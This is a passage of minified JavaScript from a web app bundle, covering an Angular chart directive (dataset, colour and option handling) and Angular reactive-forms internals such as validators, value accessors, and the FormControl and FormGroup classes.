th&&(this.old.labels=this.labels.map(e=>this.copyLabel(e)),t(ct.Update)),!!this.options.legend!==this.old.legendExists&&(this.old.legendExists=!!this.options.legend,t(ct.Refresh)),this.options.legend&&this.options.legend.position!==this.old.legend.position&&(this.old.legend.position=this.options.legend.position,t(ct.Refresh)),e){case ct.Default:break;case ct.Update:this.update();break;case ct.Refresh:this.refresh()}}copyLabel(e){return Array.isArray(e)?[...e]:e}labelsEqual(e,t){return Array.isArray(e)===Array.isArray(t)&&(Array.isArray(e)||e===t)&&(!Array.isArray(e)||e.length===t.length)&&(!Array.isArray(e)||0===e.filter((e,n)=>e!==t[n]).length)}copyColor(e){return{backgroundColor:e.backgroundColor,borderWidth:e.borderWidth,borderColor:e.borderColor,borderCapStyle:e.borderCapStyle,borderDash:e.borderDash,borderDashOffset:e.borderDashOffset,borderJoinStyle:e.borderJoinStyle,pointBorderColor:e.pointBorderColor,pointBackgroundColor:e.pointBackgroundColor,pointBorderWidth:e.pointBorderWidth,pointRadius:e.pointRadius,pointHoverRadius:e.pointHoverRadius,pointHitRadius:e.pointHitRadius,pointHoverBackgroundColor:e.pointHoverBackgroundColor,pointHoverBorderColor:e.pointHoverBorderColor,pointHoverBorderWidth:e.pointHoverBorderWidth,pointStyle:e.pointStyle,hoverBackgroundColor:e.hoverBackgroundColor,hoverBorderColor:e.hoverBorderColor,hoverBorderWidth:e.hoverBorderWidth}}colorsEqual(e,t){return!e==!t&&(!e||e.backgroundColor===t.backgroundColor&&e.borderWidth===t.borderWidth&&e.borderColor===t.borderColor&&e.borderCapStyle===t.borderCapStyle&&e.borderDash===t.borderDash&&e.borderDashOffset===t.borderDashOffset&&e.borderJoinStyle===t.borderJoinStyle&&e.pointBorderColor===t.pointBorderColor&&e.pointBackgroundColor===t.pointBackgroundColor&&e.pointBorderWidth===t.pointBorderWidth&&e.pointRadius===t.pointRadius&&e.pointHoverRadius===t.pointHoverRadius&&e.pointHitRadius===t.pointHitRadius&&e.pointHoverBackgroundColor===t.pointHoverBackgroundColor&&e.pointHoverBorderColor===t.pointHoverBorderColor&&e.pointHoverBorderWidth===t.pointHoverBorderWidth&&e.pointStyle===t.pointStyle&&e.hoverBackgroundColor===t.hoverBackgroundColor&&e.hoverBorderColor===t.hoverBorderColor&&e.hoverBorderWidth===t.hoverBorderWidth)}updateColors(){this.datasets.forEach((e,t)=>{this.colors&&this.colors[t]?Object.assign(e,this.colors[t]):Object.assign(e,function(e,t,n){if("pie"===e||"doughnut"===e)return st(dt(n));if("polarArea"===e)return{backgroundColor:(a=dt(n)).map(e=>rt(e,.6)),borderColor:a.map(e=>rt(e,1)),hoverBackgroundColor:a.map(e=>rt(e,.8)),hoverBorderColor:a.map(e=>rt(e,1))};var a;if("line"===e||"radar"===e)return function(e){return{backgroundColor:rt(e,.4),borderColor:rt(e,1),pointBackgroundColor:rt(e,1),pointBorderColor:"#fff",pointHoverBackgroundColor:"#fff",pointHoverBorderColor:rt(e,.8)}}(lt(t));if("bar"===e||"horizontalBar"===e)return function(e){return{backgroundColor:rt(e,.6),borderColor:rt(e,1),hoverBackgroundColor:rt(e,.8),hoverBorderColor:rt(e,1)}}(lt(t));if("bubble"===e)return st(dt(n));if("scatter"===e)return st(dt(n));throw new Error("getColors - Unsupported chart type "+e)}(this.chartType,t,e.data.length),Object.assign({},e))})}ngOnChanges(e){let t=ct.Default;const n=e=>{t=e>t?e:t};switch(e.hasOwnProperty("data")&&e.data.currentValue&&(this.propagateDataToDatasets(e.data.currentValue),n(ct.Update)),e.hasOwnProperty("datasets")&&e.datasets.currentValue&&(this.propagateDatasetsToData(e.datasets.currentValue),n(ct.Update)),e.hasOwnProperty("labels")&&(this.chart&&(this.chart.data.labels=e.labels.currentValue),n(ct.Update)),e.hasOwnProperty("legend")&&(this.chart&&(this.chart.config.options.legend.display=e.legend.currentValue,this.chart.generateLegend()),n(ct.Update)),e.hasOwnProperty("options")&&n(ct.Refresh),t){case ct.Update:this.update();break;case ct.Refresh:case ct.Default:this.refresh()}}ngOnDestroy(){this.chart&&(this.chart.destroy(),this.chart=void 0),this.subs.forEach(e=>e.unsubscribe())}update(e){if(this.chart)return this.chart.update(e)}hideDataset(e,t){this.chart.getDatasetMeta(e).hidden=t,this.chart.update()}isDatasetHidden(e){return this.chart.getDatasetMeta(e).hidden}toBase64Image(){return this.chart.toBase64Image()}getChartConfiguration(){const e=this.getDatasets(),t=Object.assign({},this.options);!1===this.legend&&(t.legend={display:!1}),t.hover=t.hover||{},t.hover.onHover||(t.hover.onHover=(e,t)=>{t&&!t.length||this.chartHover.emit({event:e,active:t})}),t.onClick||(t.onClick=(e,t)=>{this.chartClick.emit({event:e,active:t})});const n=this.smartMerge(t,this.themeService.getColorschemesOptions());return{type:this.chartType,data:{labels:this.labels||[],datasets:e},plugins:this.plugins,options:n}}getChartBuilder(e){const t=this.getChartConfiguration();return new nt.Chart(e,t)}smartMerge(e,t,n=0){if(0===n&&(e=tt(e,5)),Object.keys(t).forEach(a=>{if(Array.isArray(t[a])){const r=e[a];r&&r.forEach(e=>{this.smartMerge(e,t[a][0],n+1)})}else"object"==typeof t[a]?(a in e||(e[a]={}),this.smartMerge(e[a],t[a],n+1)):e[a]=t[a]}),0===n)return e}isMultiLineLabel(e){return Array.isArray(e)}joinLabel(e){return e?this.isMultiLineLabel(e)?e.join(" "):e:null}propagateDatasetsToData(e){this.data=this.datasets.map(e=>e.data),this.chart&&(this.chart.data.datasets=e),this.updateColors()}propagateDataToDatasets(e){this.isMultiDataSet(e)?this.datasets&&e.length===this.datasets.length?this.datasets.forEach((t,n)=>{t.data=e[n]}):(this.datasets=e.map((e,t)=>({data:e,label:this.joinLabel(this.labels[t])||"Label "+t})),this.chart&&(this.chart.data.datasets=this.datasets)):this.datasets?(this.datasets[0]||(this.datasets[0]={}),this.datasets[0].data=e,this.datasets.splice(1)):(this.datasets=[{data:e}],this.chart&&(this.chart.data.datasets=this.datasets)),this.updateColors()}isMultiDataSet(e){return Array.isArray(e[0])}getDatasets(){if(!this.datasets&&!this.data)throw new Error("ng-charts configuration error, data or datasets field are required to render chart "+this.chartType);return this.datasets?(this.propagateDatasetsToData(this.datasets),this.datasets):this.data?(this.propagateDataToDatasets(this.data),this.datasets):void 0}refresh(){this.chart&&(this.chart.destroy(),this.chart=void 0),this.ctx&&(this.chart=this.getChartBuilder(this.ctx))}}class mt{}var _t=n("KCVW"),ft=n("cUpR"),pt=n("cp0P"),gt=n("Cfvw"),bt=n("lJxs");const yt=new a.o("NgValueAccessor"),Mt=new a.o("CompositionEventMode");class vt{constructor(e,t,n){this._renderer=e,this._elementRef=t,this._compositionMode=n,this.onChange=e=>{},this.onTouched=()=>{},this._composing=!1,null==this._compositionMode&&(this._compositionMode=!function(){const e=Object(ft.r)()?Object(ft.r)().getUserAgent():"";return/android (\d+)/.test(e.toLowerCase())}())}writeValue(e){this._renderer.setProperty(this._elementRef.nativeElement,"value",null==e?"":e)}registerOnChange(e){this.onChange=e}registerOnTouched(e){this.onTouched=e}setDisabledState(e){this._renderer.setProperty(this._elementRef.nativeElement,"disabled",e)}_handleInput(e){(!this._compositionMode||this._compositionMode&&!this._composing)&&this.onChange(e)}_compositionStart(){this._composing=!0}_compositionEnd(e){this._composing=!1,this._compositionMode&&this.onChange(e)}}class Lt{get value(){return this.control?this.control.value:null}get valid(){return this.control?this.control.valid:null}get invalid(){return this.control?this.control.invalid:null}get pending(){return this.control?this.control.pending:null}get disabled(){return this.control?this.control.disabled:null}get enabled(){return this.control?this.control.enabled:null}get errors(){return this.control?this.control.errors:null}get pristine(){return this.control?this.control.pristine:null}get dirty(){return this.control?this.control.dirty:null}get touched(){return this.control?this.control.touched:null}get status(){return this.control?this.control.status:null}get untouched(){return this.control?this.control.untouched:null}get statusChanges(){return this.control?this.control.statusChanges:null}get valueChanges(){return this.control?this.control.valueChanges:null}get path(){return null}reset(e){this.control&&this.control.reset(e)}hasError(e,t){return!!this.control&&this.control.hasError(e,t)}getError(e,t){return this.control?this.control.getError(e,t):null}}class kt extends Lt{get formDirective(){return null}get path(){return null}}function wt(){throw new Error("unimplemented")}class xt extends Lt{constructor(){super(...arguments),this._parent=null,this.name=null,this.valueAccessor=null,this._rawValidators=[],this._rawAsyncValidators=[]}get validator(){return wt()}get asyncValidator(){return wt()}}class Dt{constructor(e){this._cd=e}get ngClassUntouched(){return!!this._cd.control&&this._cd.control.untouched}get ngClassTouched(){return!!this._cd.control&&this._cd.control.touched}get ngClassPristine(){return!!this._cd.control&&this._cd.control.pristine}get ngClassDirty(){return!!this._cd.control&&this._cd.control.dirty}get ngClassValid(){return!!this._cd.control&&this._cd.control.valid}get ngClassInvalid(){return!!this._cd.control&&this._cd.control.invalid}get ngClassPending(){return!!this._cd.control&&this._cd.control.pending}}class Yt extends Dt{constructor(e){super(e)}}class Tt extends Dt{constructor(e){super(e)}}function St(e){return null==e||0===e.length}const Ct=new a.o("NgValidators"),jt=/^(?=.{1,254}$)(?=.{1,64}@)[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+)*@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;class Ot{static min(e){return t=>{if(St(t.value)||St(e))return null;const n=parseFloat(t.value);return!isNaN(n)&&n<e?{min:{min:e,actual:t.value}}:null}}static max(e){return t=>{if(St(t.value)||St(e))return null;const n=parseFloat(t.value);return!isNaN(n)&&n>e?{max:{max:e,actual:t.value}}:null}}static required(e){return St(e.value)?{required:!0}:null}static requiredTrue(e){return!0===e.value?null:{required:!0}}static email(e){return St(e.value)||jt.test(e.value)?null:{email:!0}}static minLength(e){return t=>{if(St(t.value))return null;const n=t.value?t.value.length:0;return n<e?{minlength:{requiredLength:e,actualLength:n}}:null}}static maxLength(e){return t=>{const n=t.value?t.value.length:0;return n>e?{maxlength:{requiredLength:e,actualLength:n}}:null}}static pattern(e){if(!e)return Ot.nullValidator;let t,n;return"string"==typeof e?(n="","^"!==e.charAt(0)&&(n+="^"),n+=e,"$"!==e.charAt(e.length-1)&&(n+="$"),t=new RegExp(n)):(n=e.toString(),t=e),e=>{if(St(e.value))return null;const a=e.value;return t.test(a)?null:{pattern:{requiredPattern:n,actualValue:a}}}}static nullValidator(e){return null}static compose(e){if(!e)return null;const t=e.filter(Ht);return 0==t.length?null:function(e){return Pt(function(e,t){return t.map(t=>t(e))}(e,t))}}static composeAsync(e){if(!e)return null;const t=e.filter(Ht);return 0==t.length?null:function(e){const n=function(e,t){return t.map(t=>t(e))}(e,t).map(At);return Object(pt.a)(n).pipe(Object(bt.a)(Pt))}}}function Ht(e){return null!=e}function At(e){const t=Object(a.yb)(e)?Object(gt.a)(e):e;if(!Object(a.xb)(t))throw new Error("Expected validator to return Promise or Observable.");return t}function Pt(e){const t=e.reduce((e,t)=>null!=t?Object.assign({},e,t):e,{});return 0===Object.keys(t).length?null:t}function Ft(e){return e.validate?t=>e.validate(t):e}function It(e){return e.validate?t=>e.validate(t):e}class Et{constructor(){this._accessors=[]}add(e,t){this._accessors.push([e,t])}remove(e){for(let t=this._accessors.length-1;t>=0;--t)if(this._accessors[t][1]===e)return void this._accessors.splice(t,1)}select(e){this._accessors.forEach(t=>{this._isSameGroup(t,e)&&t[1]!==e&&t[1].fireUncheck(e.value)})}_isSameGroup(e,t){return!!e[0].control&&e[0]._parent===t._control._parent&&e[1].name===t.name}}const Rt='\n <div [formGroup]="myGroup">\n <input formControlName="firstName">\n </div>\n\n In your class:\n\n this.myGroup = new FormGroup({\n firstName: new FormControl()\n });',Nt='\n <div [formGroup]="myGroup">\n <div formGroupName="person">\n <input formControlName="firstName">\n </div>\n </div>\n\n In your class:\n\n this.myGroup = new FormGroup({\n person: new FormGroup({ firstName: new FormControl() })\n });';class Wt{static controlParentException(){throw new Error("formControlName must be used with a parent formGroup directive. You'll want to add a formGroup\n directive and pass it an existing FormGroup instance (you can create one in your class).\n\n Example:\n\n "+Rt)}static ngModelGroupException(){throw new Error(`formControlName cannot be used with an ngModelGroup parent. It is only compatible with parents\n that also have a "form" prefix: formGroupName, formArrayName, or formGroup.\n\n Option 1: Update the parent to be formGroupName (reactive form strategy)\n\n ${Nt}\n\n Option 2: Use ngModel instead of formControlName (template-driven strategy)\n\n \n <form>\n <div ngModelGroup="person">\n <input [(ngModel)]="person.name" name="firstName">\n </div>\n </form>`)}static missingFormException(){throw new Error("formGroup expects a FormGroup instance. Please pass one in.\n\n Example:\n\n "+Rt)}static groupParentException(){throw new Error("formGroupName must be used with a parent formGroup directive. You'll want to add a formGroup\n directive and pass it an existing FormGroup instance (you can create one in your class).\n\n Example:\n\n "+Nt)}static arrayParentException(){throw new Error('formArrayName must be used with a parent formGroup directive. You\'ll want to add a formGroup\n directive and pass it an existing FormGroup instance (you can create one in your class).\n\n Example:\n\n \n <div [formGroup]="myGroup">\n <div formArrayName="cities">\n <div *ngFor="let city of cityArray.controls; index as i">\n <input [formControlName]="i">\n </div>\n </div>\n </div>\n\n In your class:\n\n this.cityArray = new FormArray([new FormControl(\'SF\')]);\n this.myGroup = new FormGroup({\n cities: this.cityArray\n });')}static disabledAttrWarning(){console.warn("\n It looks like you're using the disabled attribute with a reactive form directive. If you set disabled to true\n when you set up this control in your component class, the disabled attribute will actually be set in the DOM for\n you. We recommend using this approach to avoid 'changed after checked' errors.\n \n Example: \n form = new FormGroup({\n first: new FormControl({value: 'Nancy', disabled: true}, Validators.required),\n last: new FormControl('Drew', Validators.required)\n });\n ")}static ngModelWarning(e){console.warn(`\n It looks like you're using ngModel on the same form field as ${e}. \n Support for using the ngModel input property and ngModelChange event with \n reactive form directives has been deprecated in Angular v6 and will be removed \n in Angular v7.\n \n For more information on this, see our API docs here:\n https://angular.io/api/forms/${"formControl"===e?"FormControlDirective":"FormControlName"}#use-with-ngmodel\n `)}}function zt(e,t){return[...t.path,e]}function Vt(e,t){e||Jt(t,"Cannot find control with"),t.valueAccessor||Jt(t,"No value accessor for form control with"),e.validator=Ot.compose([e.validator,t.validator]),e.asyncValidator=Ot.composeAsync([e.asyncValidator,t.asyncValidator]),t.valueAccessor.writeValue(e.value),function(e,t){t.valueAccessor.registerOnChange(n=>{e._pendingValue=n,e._pendingChange=!0,e._pendingDirty=!0,"change"===e.updateOn&&qt(e,t)})}(e,t),function(e,t){e.registerOnChange((e,n)=>{t.valueAccessor.writeValue(e),n&&t.viewToModelUpdate(e)})}(e,t),function(e,t){t.valueAccessor.registerOnTouched(()=>{e._pendingTouched=!0,"blur"===e.updateOn&&e._pendingChange&&qt(e,t),"submit"!==e.updateOn&&e.markAsTouched()})}(e,t),t.valueAccessor.setDisabledState&&e.registerOnDisabledChange(e=>{t.valueAccessor.setDisabledState(e)}),t._rawValidators.forEach(t=>{t.registerOnValidatorChange&&t.registerOnValidatorChange(()=>e.updateValueAndValidity())}),t._rawAsyncValidators.forEach(t=>{t.registerOnValidatorChange&&t.registerOnValidatorChange(()=>e.updateValueAndValidity())})}function qt(e,t){e._pendingDirty&&e.markAsDirty(),e.setValue(e._pendingValue,{emitModelToViewChange:!1}),t.viewToModelUpdate(e._pendingValue),e._pendingChange=!1}function Bt(e,t){null==e&&Jt(t,"Cannot find control with"),e.validator=Ot.compose([e.validator,t.validator]),e.asyncValidator=Ot.composeAsync([e.asyncValidator,t.asyncValidator])}function Gt(e){return Jt(e,"There is no FormControl instance attached to form control element with")}function Jt(e,t){let n;throw n=e.path.length>1?`path: '${e.path.join(" -> ")}'`:e.path[0]?`name: '${e.path}'`:"unspecified name attribute",new Error(`${t} ${n}`)}function Ut(e){return null!=e?Ot.compose(e.map(Ft)):null}function $t(e){return null!=e?Ot.composeAsync(e.map(It)):null}const Kt=[class{constructor(e,t){this._renderer=e,this._elementRef=t,this.onChange=e=>{},this.onTouched=()=>{}}writeValue(e){this._renderer.setProperty(this._elementRef.nativeElement,"checked",e)}registerOnChange(e){this.onChange=e}registerOnTouched(e){this.onTouched=e}setDisabledState(e){this._renderer.setProperty(this._elementRef.nativeElement,"disabled",e)}},class{constructor(e,t){this._renderer=e,this._elementRef=t,this.onChange=e=>{},this.onTouched=()=>{}}writeValue(e){this._renderer.setProperty(this._elementRef.nativeElement,"value",parseFloat(e))}registerOnChange(e){this.onChange=t=>{e(""==t?null:parseFloat(t))}}registerOnTouched(e){this.onTouched=e}setDisabledState(e){this._renderer.setProperty(this._elementRef.nativeElement,"disabled",e)}},class{constructor(e,t){this._renderer=e,this._elementRef=t,this.onChange=e=>{},this.onTouched=()=>{}}writeValue(e){this._renderer.setProperty(this._elementRef.nativeElement,"value",null==e?"":e)}registerOnChange(e){this.onChange=t=>{e(""==t?null:parseFloat(t))}}registerOnTouched(e){this.onTouched=e}setDisabledState(e){this._renderer.setProperty(this._elementRef.nativeElement,"disabled",e)}},class{constructor(e,t){this._renderer=e,this._elementRef=t,this._optionMap=new Map,this._idCounter=0,this.onChange=e=>{},this.onTouched=()=>{},this._compareWith=a.zb}set compareWith(e){if("function"!=typeof e)throw new Error("compareWith must be a function, but received "+JSON.stringify(e));this._compareWith=e}writeValue(e){this.value=e;const t=this._getOptionId(e);null==t&&this._renderer.setProperty(this._elementRef.nativeElement,"selectedIndex",-1);const n=function(e,t){return null==e?""+t:(t&&"object"==typeof t&&(t="Object"),`${e}: ${t}`.slice(0,50))}(t,e);this._renderer.setProperty(this._elementRef.nativeElement,"value",n)}registerOnChange(e){this.onChange=t=>{this.value=this._getOptionValue(t),e(this.value)}}registerOnTouched(e){this.onTouched=e}setDisabledState(e){this._renderer.setProperty(this._elementRef.nativeElement,"disabled",e)}_registerOption(){return(this._idCounter++).toString()}_getOptionId(e){for(const t of Array.from(this._optionMap.keys()))if(this._compareWith(this._optionMap.get(t),e))return t;return null}_getOptionValue(e){const t=function(e){return e.split(":")[0]}(e);return this._optionMap.has(t)?this._optionMap.get(t):e}},class{constructor(e,t){this._renderer=e,this._elementRef=t,this._optionMap=new Map,this._idCounter=0,this.onChange=e=>{},this.onTouched=()=>{},this._compareWith=a.zb}set compareWith(e){if("function"!=typeof e)throw new Error("compareWith must be a function, but received "+JSON.stringify(e));this._compareWith=e}writeValue(e){let t;if(this.value=e,Array.isArray(e)){const n=e.map(e=>this._getOptionId(e));t=(e,t)=>{e._setSelected(n.indexOf(t.toString())>-1)}}else t=(e,t)=>{e._setSelected(!1)};this._optionMap.forEach(t)}registerOnChange(e){this.onChange=t=>{const n=[];if(t.hasOwnProperty("selectedOptions")){const e=t.selectedOptions;for(let t=0;t<e.length;t++){const a=e.item(t),r=this._getOptionValue(a.value);n.push(r)}}else{const e=t.options;for(let t=0;t<e.length;t++){const a=e.item(t);if(a.selected){const e=this._getOptionValue(a.value);n.push(e)}}}this.value=n,e(n)}}registerOnTouched(e){this.onTouched=e}setDisabledState(e){this._renderer.setProperty(this._elementRef.nativeElement,"disabled",e)}_registerOption(e){const t=(this._idCounter++).toString();return this._optionMap.set(t,e),t}_getOptionId(e){for(const t of Array.from(this._optionMap.keys()))if(this._compareWith(this._optionMap.get(t)._value,e))return t;return null}_getOptionValue(e){const t=function(e){return e.split(":")[0]}(e);return this._optionMap.has(t)?this._optionMap.get(t)._value:e}},class{constructor(e,t,n,a){this._renderer=e,this._elementRef=t,this._registry=n,this._injector=a,this.onChange=()=>{},this.onTouched=()=>{}}ngOnInit(){this._control=this._injector.get(xt),this._checkName(),this._registry.add(this._control,this)}ngOnDestroy(){this._registry.remove(this)}writeValue(e){this._state=e===this.value,this._renderer.setProperty(this._elementRef.nativeElement,"checked",this._state)}registerOnChange(e){this._fn=e,this.onChange=()=>{e(this.value),this._registry.select(this)}}fireUncheck(e){this.writeValue(e)}registerOnTouched(e){this.onTouched=e}setDisabledState(e){this._renderer.setProperty(this._elementRef.nativeElement,"disabled",e)}_checkName(){this.name&&this.formControlName&&this.name!==this.formControlName&&this._throwNameError(),!this.name&&this.formControlName&&(this.name=this.formControlName)}_throwNameError(){throw new Error('\n If you define both a name and a formControlName attribute on your radio button, their values\n must match. Ex: <input type="radio" formControlName="food" name="food">\n ')}}];function Zt(e,t){e._syncPendingControls(),t.forEach(e=>{const t=e.control;"submit"===t.updateOn&&t._pendingChange&&(e.viewToModelUpdate(t._pendingValue),t._pendingChange=!1)})}function Xt(e,t){const n=e.indexOf(t);n>-1&&e.splice(n,1)}function Qt(e){const t=tn(e)?e.validators:e;return Array.isArray(t)?Ut(t):t||null}function en(e,t){const n=tn(t)?t.asyncValidators:e;return Array.isArray(n)?$t(n):n||null}function tn(e){return null!=e&&!Array.isArray(e)&&"object"==typeof e}class nn{constructor(e,t){this.validator=e,this.asyncValidator=t,this._onCollectionChange=()=>{},this.pristine=!0,this.touched=!1,this._onDisabledChange=[]}get parent(){return this._parent}get valid(){return"VALID"===this.status}get invalid(){return"INVALID"===this.status}get pending(){return"PENDING"==this.status}get disabled(){return"DISABLED"===this.status}get enabled(){return"DISABLED"!==this.status}get dirty(){return!this.pristine}get untouched(){return!this.touched}get updateOn(){return this._updateOn?this._updateOn:this.parent?this.parent.updateOn:"change"}setValidators(e){this.validator=Qt(e)}setAsyncValidators(e){this.asyncValidator=en(e)}clearValidators(){this.validator=null}clearAsyncValidators(){this.asyncValidator=null}markAsTouched(e={}){this.touched=!0,this._parent&&!e.onlySelf&&this._parent.markAsTouched(e)}markAllAsTouched(){this.markAsTouched({onlySelf:!0}),this._forEachChild(e=>e.markAllAsTouched())}markAsUntouched(e={}){this.touched=!1,this._pendingTouched=!1,this._forEachChild(e=>{e.markAsUntouched({onlySelf:!0})}),this._parent&&!e.onlySelf&&this._parent._updateTouched(e)}markAsDirty(e={}){this.pristine=!1,this._parent&&!e.onlySelf&&this._parent.markAsDirty(e)}markAsPristine(e={}){this.pristine=!0,this._pendingDirty=!1,this._forEachChild(e=>{e.markAsPristine({onlySelf:!0})}),this._parent&&!e.onlySelf&&this._parent._updatePristine(e)}markAsPending(e={}){this.status="PENDING",!1!==e.emitEvent&&this.statusChanges.emit(this.status),this._parent&&!e.onlySelf&&this._parent.markAsPending(e)}disable(e={}){const t=this._parentMarkedDirty(e.onlySelf);this.status="DISABLED",this.errors=null,this._forEachChild(t=>{t.disable(Object.assign({},e,{onlySelf:!0}))}),this._updateValue(),!1!==e.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._updateAncestors(Object.assign({},e,{skipPristineCheck:t})),this._onDisabledChange.forEach(e=>e(!0))}enable(e={}){const t=this._parentMarkedDirty(e.onlySelf);this.status="VALID",this._forEachChild(t=>{t.enable(Object.assign({},e,{onlySelf:!0}))}),this.updateValueAndValidity({onlySelf:!0,emitEvent:e.emitEvent}),this._updateAncestors(Object.assign({},e,{skipPristineCheck:t})),this._onDisabledChange.forEach(e=>e(!1))}_updateAncestors(e){this._parent&&!e.onlySelf&&(this._parent.updateValueAndValidity(e),e.skipPristineCheck||this._parent._updatePristine(),this._parent._updateTouched())}setParent(e){this._parent=e}updateValueAndValidity(e={}){this._setInitialStatus(),this._updateValue(),this.enabled&&(this._cancelExistingSubscription(),this.errors=this._runValidator(),this.status=this._calculateStatus(),"VALID"!==this.status&&"PENDING"!==this.status||this._runAsyncValidator(e.emitEvent)),!1!==e.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._parent&&!e.onlySelf&&this._parent.updateValueAndValidity(e)}_updateTreeValidity(e={emitEvent:!0}){this._forEachChild(t=>t._updateTreeValidity(e)),this.updateValueAndValidity({onlySelf:!0,emitEvent:e.emitEvent})}_setInitialStatus(){this.status=this._allControlsDisabled()?"DISABLED":"VALID"}_runValidator(){return this.validator?this.validator(this):null}_runAsyncValidator(e){if(this.asyncValidator){this.status="PENDING";const t=At(this.asyncValidator(this));this._asyncValidationSubscription=t.subscribe(t=>this.setErrors(t,{emitEvent:e}))}}_cancelExistingSubscription(){this._asyncValidationSubscription&&this._asyncValidationSubscription.unsubscribe()}setErrors(e,t={}){this.errors=e,this._updateControlsErrors(!1!==t.emitEvent)}get(e){return function(e,t,n){return null==t?null:(t instanceof Array||(t=t.split(".")),t instanceof Array&&0===t.length?null:t.reduce((e,t)=>e instanceof rn?e.controls.hasOwnProperty(t)?e.controls[t]:null:e instanceof sn&&e.at(t)||null,e))}(this,e)}getError(e,t){const n=t?this.get(t):this;return n&&n.errors?n.errors[e]:null}hasError(e,t){return!!this.getError(e,t)}get root(){let e=this;for(;e._parent;)e=e._parent;return e}_updateControlsErrors(e){this.status=this._calculateStatus(),e&&this.statusChanges.emit(this.status),this._parent&&this._parent._updateControlsErrors(e)}_initObservables(){this.valueChanges=new a.m,this.statusChanges=new a.m}_calculateStatus(){return this._allControlsDisabled()?"DISABLED":this.errors?"INVALID":this._anyControlsHaveStatus("PENDING")?"PENDING":this._anyControlsHaveStatus("INVALID")?"INVALID":"VALID"}_anyControlsHaveStatus(e){return this._anyControls(t=>t.status===e)}_anyControlsDirty(){return this._anyControls(e=>e.dirty)}_anyControlsTouched(){return this._anyControls(e=>e.touched)}_updatePristine(e={}){this.pristine=!this._anyControlsDirty(),this._parent&&!e.onlySelf&&this._parent._updatePristine(e)}_updateTouched(e={}){this.touched=this._anyControlsTouched(),this._parent&&!e.onlySelf&&this._parent._updateTouched(e)}_isBoxedValue(e){return"object"==typeof e&&null!==e&&2===Object.keys(e).length&&"value"in e&&"disabled"in e}_registerOnCollectionChange(e){this._onCollectionChange=e}_setUpdateStrategy(e){tn(e)&&null!=e.updateOn&&(this._updateOn=e.updateOn)}_parentMarkedDirty(e){return!e&&this._parent&&this._parent.dirty&&!this._parent._anyControlsDirty()}}class an extends nn{constructor(e=null,t,n){super(Qt(t),en(n,t)),this._onChange=[],this._applyFormState(e),this._setUpdateStrategy(t),this.updateValueAndValidity({onlySelf:!0,emitEvent:!1}),this._initObservables()}setValue(e,t={}){this.value=this._pendingValue=e,this._onChange.length&&!1!==t.emitModelToViewChange&&this._onChange.forEach(e=>e(this.value,!1!==t.emitViewToModelChange)),this.updateValueAndValidity(t)}patchValue(e,t={}){this.setValue(e,t)}reset(e=null,t={}){this._applyFormState(e),this.markAsPristine(t),this.markAsUntouched(t),this.setValue(this.value,t),this._pendingChange=!1}_updateValue(){}_anyControls(e){return!1}_allControlsDisabled(){return this.disabled}registerOnChange(e){this._onChange.push(e)}_clearChangeFns(){this._onChange=[],this._onDisabledChange=[],this._onCollectionChange=()=>{}}registerOnDisabledChange(e){this._onDisabledChange.push(e)}_forEachChild(e){}_syncPendingControls(){return!("submit"!==this.updateOn||(this._pendingDirty&&this.markAsDirty(),this._pendingTouched&&this.markAsTouched(),!this._pendingChange)||(this.setValue(this._pendingValue,{onlySelf:!0,emitModelToViewChange:!1}),0))}_applyFormState(e){this._isBoxedValue(e)?(this.value=this._pendingValue=e.value,e.disabled?this.disable({onlySelf:!0,emitEvent:!1}):this.enable({onlySelf:!0,emitEvent:!1})):this.value=this._pendingValue=e}}class rn extends nn{constructor(e,t,n){super(Qt(t),en(n,t)),this.controls=e,this._initObservables(),this._setUpdateStrategy(t),this._setUpControls(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!1})}registerControl(e,t){return this.controls[e]?this.controls[e]:(this.controls[e]=t,t.setParent(this),t._registerOnCollectionChange(this._onCollectionChange),t)}addControl(e,t){this.registerControl(e,t),this.updateValueAndValidity(),this._onCollectionChange()}removeControl(e){this.controls[e]&&this.controls[e]._registerOnCollectionChange(()=>{}),delete this.controls[e],this.updateValueAndValidity(),this._onCollectionChange()}setControl(e,t){this.controls[e]&&this.controls[e]._registerOnCollectionChange(()=>{}),delete this.controls[e],t&&this.registerControl(e,t),this.updateValueAndValidity(),this._onCollectionChange()}contains(e){return this.controls.hasOwnProperty(e)&&this.controls[e].enabled}setValue(e,t={}){this._checkAllValuesPresent(e),Object.keys(e).forEach(n=>{this._throwIfControlMissing(n),this.controls[n].setValue(e[n],{onlySelf:!0,emitEvent:t.emitEvent})}),this.updateValueAndValidity(t)}patchValue(e,t={}){Object.keys(e).forEach(n=>{this.controls[n]&&this.controls[n].patchValue(e[n],{onlySelf:!0,emitEvent:t.emitEvent})}),this.updateValueAndValidity(t)}reset(e={},t={}){this._forEachChild((n,a)=>{n.reset(e[a],{onlySelf:!0,emitEvent:t.emitEvent})}),this._updatePristine(t),this._updateTouched(t),this.updateValueAndValidity(t)}getRawValue(){return this._reduceChildren({},(e,t,n)=>(e[n]=t instanceof an?t.value:t.getRawValue(),e))}_syncPendingControls(){let e=this._reduceChildren(!1,(e,t)=>!!t._syncPendingControls()||e);return e&&this.updateValueAndValidity({onlySelf:!0}),e}_throwIfControlMissing(e){if(!Object.keys(this.controls).length)throw new Error("\n There are no form controls registered with this group yet. If you're using ngModel,\n you may want to check next tick (e.g. use setTimeout).\n ");if(!this.controls[e])throw new Error(`Cannot find form control with name: ${e}.`)}_forEachChild(e){Object.keys(this.controls).forEach(t=>e(this.controls[t],t))}_setUpControls(){this._forEachChild(e=>{e.setParent(this),e._registerOnCollectionChange(this._onCollectionChange)})}_updateValue(){this.value=this._reduceValue()}_anyControls(e){let t=!1;return this._forEachChild((n,a)=>{t=t||this.contains(a)&&e(n)}),t}_reduceValue(){return this._reduceChildren({},(e,t,n)=>((t.enabled||this.disabled)&&(e[n]=t.value),e))}_reduceChildren(e,t){let n=e;return this._forEachChild((e,a)=>{n=t(n,e,a)}),n}_allControlsDisabled(){for(const e of Object.keys(this.controls))if(this.controls[e].enabled)return!1;return Object.keys(this.controls).length>0||this.disabled}_checkAllValuesPresent(e){this._forEachChild((t,n)=>{if(void 0===e[n])throw new 